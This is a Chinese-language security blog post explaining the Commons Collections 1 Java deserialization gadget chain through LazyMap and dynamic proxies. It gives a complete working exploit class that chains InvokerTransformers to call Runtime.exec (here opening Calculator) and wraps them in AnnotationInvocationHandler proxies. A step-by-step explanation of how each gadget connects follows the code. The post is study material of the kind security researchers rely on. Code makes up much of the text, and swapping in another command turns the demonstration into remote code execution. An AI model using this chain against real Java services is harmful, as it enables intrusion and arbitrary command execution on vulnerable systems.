1. 1. 完整EXP
  2. 2. EXP构造逻辑
  3. 3. CC1完整调用链流程图

CC1链除了 TransformedMap链之外,还存在 LazyMap链。LazyMap链的核心原理是 Java动态代理,前面 Blog已经详细分析,这里不做赘述。

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package org.kgty;

import javafx.beans.binding.ObjectExpression;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class EXP2 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

//lazyMap.get(Runtime.class);

Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annontationInvocationHandlerConstructor = a.getDeclaredConstructor(Class.class, Map.class);
annontationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annontationInvocationHandlerConstructor.newInstance(Override.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, h);
Object annotationInvocationHandler = annontationInvocationHandlerConstructor.newInstance(Override.class, proxyMap);
serialize(annotationInvocationHandler);
deserialize();
}


public static void serialize (Object object) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt"));
objectOutputStream.writeObject(object);
}

public static void deserialize () throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt"));
objectInputStream.readObject();
}
}

EXP构造逻辑

1、依然是查找 InvokerTransformer.transform的用法,在 LazyMap.get方法中被调用:

image-20250207092901893

factory在 LazyMap.decorate和构造函数中可控:

image-20250207094742063

1
2
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

2、AnnotationInvocationHandler.invoke方法中调用了 memberValues.get方法,memberValues可控:

image-20250207093147037

AnnotationInvocationHandler是一个调用处理器,配合 Java动态代理即可调用。

观察 invoke方法的前文逻辑,到达 get方法前需要对 method进行多次判断,即调用处理器对象调用的方法不为 equals、toString、hashCode、annotationType,且为无参方法。

image-20250207093901820

3、AnnotationInvocationHandler.readObject中的 memberValues.entrySet符合条件,代理 Map接口调用 memberValues.entrySet就会触发 AnnotationInvocationHandler.invoke方法:

image-20250207094204929

1
2
3
4
5
6
7
8
 Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annontationInvocationHandlerConstructor = a.getDeclaredConstructor(Class.class, Map.class);
annontationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annontationInvocationHandlerConstructor.newInstance(Override.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, h);
Object annotationInvocationHandler = annontationInvocationHandlerConstructor.newInstance(Override.class, proxyMap);
serialize(annotationInvocationHandler);
deserialize();

CC1完整调用链流程图

image-20250207100445499